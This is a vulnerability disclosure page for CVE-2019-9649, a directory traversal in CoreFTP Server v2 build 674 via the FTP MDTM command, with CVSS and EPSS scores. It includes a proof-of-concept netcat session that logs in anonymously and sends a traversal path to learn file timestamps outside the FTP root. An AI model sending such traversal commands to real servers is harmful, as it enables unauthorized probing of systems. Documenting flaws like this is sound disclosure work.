Lucene search

K
zdtKevin Randall1337DAY-ID-32345
HistoryMar 12, 2019 - 12:00 a.m.

CoreFTP Server FTP / SFTP Server v2 Build 674 MDTM Directory Traversal Vulnerability

2019-03-1200:00:00
Kevin Randall
0day.today
49

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS

0.091

Percentile

94.7%

CoreFTP Server FTP and SFTP Server version 2 build 674 suffer from a directory traversal vulnerability. By utilizing a directory traversal along with the FTP MDTM command, an attacker can browse outside the root directory to determine if a file exists based on return file size along with the date the file was last modified by using a …..\ technique.

CoreFTP Server FTP / SFTP Server 2 Build 674 MDTM Directory Traversal

CVE-2019-9649

CoreFTP FTP / SFTP Server v2 - Build 674

MDTM Directory Traversal

Discovered By: Kevin Randall


Summary: By utilizing a directory traversal along with the FTP MDTM
command, an attacker can browse outside the root directory to determine if
a file exists based on return file size along with the date the file was
last modified by using a ..\..\ technique

Tools used:

Parrot OS VM

Windows 7 VM

FTP / SFTP Server v2 - Build 674

Netcat


Proof of Concept (PoC):


File 1: ARP.exe

Type of file: Application(.EXE)

Description: TCP/IP Arp Command

Location: C:\Windows\System32\

Size: 20.5 KB (20,992 bytes)

Size on disk: 24.0 KB (24,576 bytes)

Created: Monday July 13, 2009 7:55:11 PM

Modified: Monday July 13, 2009, 9:14:12 PM

Accessed: Monday July 13, 2009 7:55:11 PM


#nc -nv 192.168.0.2 21

(UNKNOWN) [192.168.0.2] 21 (ftp) open

220 Core FTP Server Version 2.0, build 674, 32-bit, installed 1 days ago
Unregistered

USER anonymous

331 password required for anonymous

PASS anonymous@

230-Logged on

230

MDTM C:\..\..\..\..\..\..\Windows\System32\ARP.exe

213 20090713211412

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS

0.091

Percentile

94.7%